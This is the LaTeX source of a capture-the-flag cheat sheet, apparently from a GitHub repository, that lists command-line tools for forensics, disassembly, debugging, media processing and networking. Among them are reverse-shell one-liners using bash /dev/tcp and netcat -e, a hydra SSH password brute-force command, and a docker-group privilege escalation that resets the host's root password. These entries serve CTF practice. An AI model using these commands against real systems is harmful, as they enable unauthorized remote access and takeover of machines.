-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathctf-cs.tex
501 lines (389 loc) · 15.4 KB
/
ctf-cs.tex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
%% ctf-cs.tex
%
% Copyright 2014-2020 Rudy Matela
%
% This text is available under (at your option):
% * Creative Commons Attribution-ShareAlike 3.0 Licence
% * GNU Free Documentation License version 1.3 or Later
%
\documentclass{refcard}
\usepackage[T1]{fontenc}
\renewcommand{\familydefault}{\sfdefault}
\title{Concise Capture the Flag Cheat Sheet}
\cright{
Copyright 2014-2020, Rudy Matela --
Compiled on \today{} \\
Upstream: \texttt{https://github.com/rudymatela/concise-cheat-sheets}
}{
This text is available under
the Creative Commons Attribution-ShareAlike 3.0 Licence, \\
\textbf{or} (at your option), the GNU Free Documentation License version 1.3 or Later.
}
\version[~\\]{0.5}
\begin{document}
\maketitle
\section{Binaries and Metadata Extractors}
\begin{ldesc}
\li[Guess file type using magic] \$ file \I{file}
\li[Printable strings in bin file] \$ strings \I{file}
\li[Hexadecimal dump] \$ xxd [-c\I{16} -g\I{2}] \I{file} \li
\$ hexdump \I{file} \li
\$ od -tx1z \I{file}
\li[Hexadecimal editor] \$ elvis [-c"display hex"] \I{file}
\li[Extract JPEG EXIF data] \$ exiv2 \I{img.jpeg} \li
\$ jhead \I{img.jpeg}
\li[Extract PNG metadata] \$ pngcheck -7ptv \I{img.png}
\li[List tarball contents] \$ tar -tf \I{tarball.tar}
\li[List zip contents] \$ unzip -l \I{file.zip}
\li[Extract ID3 metadata] \$ id3info \I{file.mp3}
\end{ldesc}
\section{Encoding / Decoding}
\begin{ldesc}
\li[Encode base64] \$ base64 [\I{file}]
\li[Decode base64] \$ base64 -di [\I{file}]
\li[(de)code caesar's] \$ caesar [0-25]
\li[Encode morse] \$ morse -s ~~~~~\I{message}
\li[Decode morse] \$ morse -d -{-}~~~\I{...~-{-}-~...}
\li[Hex to binary] \$ echo '48656c6c6f0a' | xxd -r -p
\end{ldesc}
\section{Hashes}
\begin{ldesc}
\li[md5sum] \$ md5sum \I{file}
\li[sha1sum] \$ sha1sum \I{file}
\li[sha256sum] \$ sha256sum \I{file}
\end{ldesc}
\section{Unix / Linux}
\begin{ldesc}
\li[Extract tarball contents] \$ tar -xvf \I{tarball.tar}
\li[Remove first 3 bytes] \$ tail -c +4 [\I{file}]
\li[Unzip] \$ unzip \I{file.zip}
\end{ldesc}
\section{Disk Images / Forensics}
\begin{ldesc}
\li[Mounting FS image] \$ mount \I{fs.img} \I{mountpoint}
\li[~~(override user/group)] ~~~-o uid=user,gid=users
\li[List orphan inodes on image] \$ ils \I{fs.img}
\li[List deleted files on image] \$ fls -drp \I{fs.img}
\li[File contents from inode number] \$ icat \I{fs.img} \I{1337}
\li[(Deleted) file contents on image] \$ fcat \I{path/to/file} \I{fs.img}
\end{ldesc}
\section{Databases}
\begin{ldesc}
\li[Open sqlite database] \$ sqlite3 \I{database.db}
\li[List databases] > .databases
\li[List tables] > .tables
\li[Show \I{table} contents] > select * from \I{table};
\end{ldesc}
\section{Disassembly}
\begin{ldesc}
\li[Disassemble program] \$ objdump -d \I{prog}
\li[Dump RO data section] \$ objdump -j .rodata -s \I{prog}
% \li[List symbols] \$ objdump -t \I{prog}
\li[List symbols] \$ nm \I{prog}
\li[Disassemble (objdump)] \$ objdump -d \I{prog}
\li[Disassemble (ndisasm)] \$ ndisasm \I{prog}
\li[Disasm. ncurses] \$ TERM=vt100 biew \I{prog}
\li[Assembly] nasm, yasm, gas
\li[ELF info] \$ readelf -a \I{prog}
\li[Rename symbol in lib] \$ objcopy -{-}redefine-sym \I{o}=\I{n} \I{lib.o}
\li[Prefix symbols in lib] \$ objcopy -{-}prefix-symbols=\I{p} \I{lib.o}
\end{ldesc}
\section{Debugging}
\begin{ldesc}
\li[simple / command line] \$ gdb ./program
\li[run program] > r [parameters] [< fin > fout]
\li[print backtrace] > bt
\li[set breakpoint on \I{foo}] > b \I{foo}
\li[unset breakpoint(s)] > delete breakpoint [no]
\li[next line (over)] > n
\li[step line (into)] > s
\li[next instruction (over)] > ni
\li[step instruction (into)] > si
\li[activate display next instr.] > display/i \$pc
\li[continue execution] > c
\li[save memory contents] > generate-core-file
\li[advanced / graphical] \$ edb \I{./program}
\li[trace system calls] \$ strace \I{./program}
\end{ldesc}
% GDB Manual http://www.delorie.com/gnu/docs/gdb/gdb_38.html
\subsection{Running and debugging Legacy/Other Systems}
\subsubsection{DOS}
\begin{ldesc}
\li[Open DOS with \textit{dir} as C:] \$ dosbox \I{dir}
\li[~~(debug mode)] \$ dosbox-debug \I{dir}
\li[Run \I{prog} in debug mode] C:\textbackslash> debug \I{prog.com}
\li[DOSBox-debug step over] F10
\li[DOSBox-debug step into] F11
\li[DOSBox-debug scroll memory] PgUp / PgDn
\li[DOSBox-debug scroll program] + / -
\end{ldesc}
\subsection{Windows}
\begin{ldesc}
\li[Run executable] \$ wine \I{prog.exe}
\li[Debug executable] \$ winedbg \I{prog.exe}
% TODO: More details on winedbg
% see: https://www.winehq.org/docs/winedev-guide/wine-debugger
% and: man winedbg
\li[Debug executable] \$ ollydbg \I{prog.exe}
\end{ldesc}
\subsection{IBM PC XT}
\begin{ldesc}
\li[Start system] fake86 -fd0 /usr/share/fake86/rombasic.bin
\\ % <-- This somehow makes the output nicer
\end{ldesc}
\subsection{Android}
\begin{ldesc}
\li[dex to jar] d2j-dex2jar \I{classes.dex}
\li[jar contents] unzip \I{classes.jar}
\end{ldesc}
\section{Image Processing}
\begin{ldesc}
\li[Editor (simple)] \$ pinta \I{image}
\li[Editor (advanced)] \$ gimp \I{image}
\li[Convert to pnm] \$ \I{type}topnm \I{image.type} > \I{image}.pnm
\li[pnm (ppm) format] P6~~~~~~~~~~~~~~~~~~\textnormal{(type)}\li
width height~~~~~~~~\textnormal{(in printable digits)} \li
255~~~~~~~~~~~~~~~~~\textnormal{(max color)} \li
RGBRGBRGBRGBRGB... \textnormal{($\times$ \textit{width} $\times$ \textit{height})}
\li[QR code for \I{word}] \$ qrencode \I{word} -o \I{image.png}
\li[Scan QR/barcode] \$ zbarimg -{-}raw \I{image.png}
\li[~(from X selection)] \$ import \I{i.png} \&\& zbarimg -{-}raw \I{i.png}
\li[OCR in \I{lng} lang.] \$ tesseract [-l \I{lng}] \I{i.png} stdout
\end{ldesc}\\[0pt]
\begin{ldesc}
\li[Crop] \$ convert -crop \I{W}x\I{H}+\I{HP}+\I{VP} \I{i.png} \I{o.png}
\li[Greyscale] \$ convert \I{i.png} -colorspace Gray \I{o.png}
\li[Montage/Concat] \$ montage -mode concatenate \I{*.png} \I{o.png}
% \li[Simple unsteg] ... % TODO: simple unsteg
\end{ldesc}
\section{Video Processing}
\begin{ldesc}
\li[Extract Frames] \$ ffmpeg -i \I{video.mp4} \I{frame-\%4d.jpeg}
\li[Dwn. vid. (yt/etc)] \$ youtube-dl "\I{https://example.com/etc}"
\end{ldesc}
\section{Audio Processing}
\begin{ldesc}
\li[Graphical editor / waveform] \$ audacity \I{audio.flac}
\li[Spectrogram] \$ sox \I{aud.flac} -n spectrogram
\li[Extract notes from MIDI] \$ midi2ly \I{music.midi}
\li[Generate music sheet] \$ lilypond \I{music.ly}
\end{ldesc}
\subsubsection{Decoding Phone Dialing Tones}
\begin{ldesc}
\li[Decode DTMF] sox tone.ogg -esigned-integer \textbackslash \li
~~~~-b16 -r 22050 -t raw - | \li
multimon-ng -c -a DTMF -
\li[Anything else] sox ... | multimon-ng
\end{ldesc}
\section{Web}
\begin{ldesc}
\li[Brute force URLs] dirb http://localhost/
\li[~~ (specific wordlist)] dirb http://localhost/ wordlist.txt
\li[List HTML errors] tidy -qe file.html
\li[~~ (from URL)] curl -sL example.com | tidy -qe
\li[Stress-test (2s)] siege -t2s -c6 http://localhost/
\end{ldesc}
\section{Password brute force}
\begin{ldesc}
\li[ssh brute force] hydra -L \I{us.txt} -P \I{ps.txt} ssh://\I{host}
\end{ldesc}
\section{Checking for memory leaks (Valgrind)}
\begin{ldesc}
\li[list leaks and invalid writes] valgrind \I{program}
\li[print leak details] valgrind -{}-leak-check=full \I{prog}
\end{ldesc}
(Compile with \texttt{-g} to get line of code position.)
\pagebreak
\section{Networking}
\begin{ldesc}
\li[Info about \I{port}] \$ cat /etc/services | grep \I{port}
\end{ldesc}
\subsection{Passive scanning}
\begin{ldesc}
\li[Network traffic (graphical)] \$ wireshark
\li[Network traffic] \$ tshark -i \I{interface} -f \I{filter}
\li[List interfaces] \$ tshark -D
\li[Wifi HTTP traffic] \$ tshark -i wlan0 -f "port 80"
\li[Filter syntax] \$ man pcap-filter
\li[Network traffic (altn.)] \$ tcpdump
\end{ldesc}
\subsection{Active scanning}
\begin{ldesc}
\li[Open ports on host] \$ nmap [-sV -O -p \I{prange}] \I{host}
\li[List hosts on a network] \$ nmap [-sn] 192.168.0.*
\lI[Query \I{txt} DNS field] \$ nslookup -query=txt \I{example.com}
\li[Query DNS info (on \I{srv})] \$ dig \I{[@srv]} \I{example.com}
\end{ldesc}
\subsection{Interacting}
\begin{ldesc}
\li[Network cat (GNU/BSD)] \$ netcat host port
\li[Network cat (nmap altn.)] \$ ncat host port
\li[Telnet to \I{host} on \I{port}] \$ telnet host port
% TODO: curl, wget
\end{ldesc}
\subsection{Reverse shell / Connect back}
\begin{ldesc}
\li[netcat listen] client\$ netcat -vlp 1337
\lI[Linux conn-back] \$ sh >\& /dev/tcp/client/1337 0>\&1
\li[\ \ (colored)] \$ bash -i >\& /dev/tcp/client/1337 0>\&1
\li[Netcat conn-back] \$ netcat -e /bin/sh localhost 1337
\li[\ \ (colored)] \$ nc -e "/bin/bash -i" localhost 1337
\end{ldesc}
\subsection{HTTP Status Codes}
\begin{tabular}{l@{ }l}
\li[1xx] Informational
\li[100] Continue
\\
\li[2xx] Success
\li[200] OK
\li[201] Created
\li[202] Accepted
\li[204] No Content
\li[206] Partial Content
\\
\li[3xx] Redirection
\li[300] Multiple Choices
\li[301] Moved Permanently
\li[302] Found
\li[303] See Other
\li[304] Not Modified
\end{tabular}
\begin{tabular}{l@{ }l}
\li[4xx] Client Errors
\li[400] Bad Request
\li[401] Unauthorized
\li[403] Forbidden
\li[404] Not Found
\li[405] Method Not Allowed
\li[406] Not Acceptable
\li[409] Conflict
\li[413] Payload Too Large
\li[422] Unprocessable Entity
\li[429] Too Many Requests
\\
\li[5xx] Server errors
\li[500] Internal Server Error
\li[502] Bad Gateway
\li[504] Gateway Timeout
\end{tabular}
\pagebreak
\section{Keyboard Scan Codes (US QWERTY)}
% Reference: http://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html
\newcommand{\ppkey}{\textbackslash{} \textbar}
\begin{tabular}{C@{\hspace{6ex}}llllll}
& \C{00} & \C{10} & \C{20} & \C{30} & \C{40} & \C{50} \\[1ex]
+0 & error & q & d & b & F6 & KP 2 \\
+1 & Esc & w & f & n & F7 & KP 3 \\
+2 & 1 & e & g & m & F8 & KP 0 \\
+3 & 2 & r & h & , $<$ & F9 & KP Del \\
+4 & 3 & t & j & . $>$ & F10 & SysRq \\
+5 & 4 & y & k & / ? & NmLck & -- \\
+6 & 5 & u & l & RShift & ScLck & -- \\
+7 & 6 & i & : ; & KP * & KP 7 & F11 \\
+8 & 7 & o & ' " & LAlt & KP 8 & F12 \\
+9 & 8 & p & ` ~ & Space & KP 9 & -- \\
+a & 9 & \{ [ & LShift & CaLck & KP - & -- \\
+b & 0 & ] \} & \ppkey & F1 & KP 4 & -- \\
+c & - \_ & Enter & z & F2 & KP 5 & -- \\
+d & + = & LCtrl & x & F3 & KP 6 & -- \\
+e & Back & a & c & F4 & KP + & -- \\
+f & Tab & s & v & F5 & KP 1 & -- \\
\end{tabular}
\section{Number/character conversion}
\begin{tabularlc}{@{}lCCC}
\li \textnormal{Ruby} & \textnormal{Haskell}
\li[lib] & import Data.Char
%li[lib] & import Data.List
%li[lib] & import Data.Tuple
%li[lib] & import Data.Maybe
\li[char to int] 'a'.ord & ord 'a'
\li[int to char] 0x61.chr & chr 0x61
\lI[from hexadecimal] "FF".to\_i(16) & foldl1 (\textbackslash{}x y -> x*16 + y) \li[] &
.~map digitToInt \$ "FF"
\lI[to hexadecimal] 255.to\_s(16) & map intToDigit .~reverse \li[] &
.~unfoldr \li[] &
~~(\textbackslash{}n -> listToMaybe\li[] &
~~~[ swap \$ n `divMod` 16 \li[] &
~~~| n /= 0 ]) \li[] &
\$ 255 \
\end{tabularlc}
\section{Dates}
\begin{ldesc}
\li[Unix to Human] date -d "@\I{seconds}"
\li[Human to Unix] date -d "\I{YYYY}-\I{mm}-\I{dd} \I{HH}:\I{MM}:\I{SS}" -f +\%s
\end{ldesc}
\section{Timing}
\begin{ldesc}
\li[Stopwatch (ctrl-C to stop)] \$ time cat
\li[Elapsed runtime] \$ time \I{program} [arguments...]
\li[Elapsed runtime] \$ /usr/bin/time -f\%e \I{program}
\li[Max memory use (Kbytes)] \$ /usr/bin/time -f\%M \I{program}
\li[Time/Memory] \$ /usr/bin/time -f"\%es \%MKb" \I{prog}
\end{ldesc}
\section{SSL}
\begin{ldesc}
\li[print HTTPS SSL chain] \$ openssl s\_client -connect \I{host}:443
\end{ldesc}
\newpage
\section{Privilege escalation}
\subsection{becoming root on Linux/UNIX}
\begin{ldesc}
\li[using \C{su} ] \$ su ~~~~~~~~~~~~~ \# needs pw
\li[using \C{sudo}] \$ sudo su ~~~~~~~~ \# may need pw
\li[using docker]
user@host\$ groups ~\# needs docker group\li
...~docker~... \li
user@host\$ mount | grep " / " \li
/dev/sdXX on / type ... \li
user@host\$ docker pull \I{image} \li
user@host\$ docker run -{-}privileged -ti \I{image} \li
root@container\$ mount /dev/sdXX /mnt \li
root@container\$ chroot /mnt /bin/bash \li
root@chroot\$ passwd \li
New password: \li
root@chroot\$ exit \li
root@container\$ exit \li
user@host\$ su \li
Password: \li
root@host\$
\end{ldesc}
\section{Stuff to install \hfill {\normalsize (Arch Linux)}}
% TODO: Also add ubuntu package names?
% NOTE: This section is a good candidate for removal in case we run out of
% space. You can always search the web with the command name to find the
% relevant package.
\begin{ldesc}
\li[Image processing] \$ pacman -S pinta gimp netpbm
\li[Image metadata] \$ pacman -S jhead exiv2 pngcheck
\li[QR/Barcode] \$ pacman -S zbar qrencode
\li[Disk image] \$ pacman -S sleuthkit libewf
\li[Network (act.)] \$ pacman -S \{gnu,openbsd\}-netcat nmap
\li[Network (psv.)] \$ pacman -S wireshark-\{cli,gtk\} tcpdump
\li[OCR] \$ pacman -S tesseract tesseract-data-eng %\{,por,jpn}
\li[En/Decoding] \$ pacman -S bsdgames
\li[Pw.\ Brute Force] \$ pacman -S hydra
\li[8086 emulator] \$ pacman -U fake86-???.pkg.tar.gz \# AUR
\li[Dial Tones] \$ pacman -S archassault/multimon-ng
\li[Android] \$ pacman -S archassault/dex2jar
\li[Valgrind] \$ pacman -S valgrind
% \li[StegDetect] \$ pacman -S archassault/stegdetect
\li[Tools available] \$ pacman -Ql \I{somekit} | grep /bin/
\end{ldesc}
\subsection{Other stuff}
\begin{ldesc}
\lI[SQLi] https://github.com/sqlmapproject/sqlmap
\end{ldesc}
\section{Hardware info}
\begin{ldesc}
\li[List system information] uname -a
\li[List detailed hardware info] [sudo] lshw
\li[List CPU devices] lscpu
\li[List PCI devices] lspci [-t] [-v]
\li[List USB devices] lsusb [-t] [-v]
\li[List loaded kernel modules] lsmod
\li[Processor width 32/64 (software)] uname -m
\li[Processor width 32/64 (software)] file /usr/bin/ls
\end{ldesc}\\[1ex]
{\centering
i386(32), i686(32), x86\_64(64), amd64(64), armv7l(32), armv8(64)}
\end{document}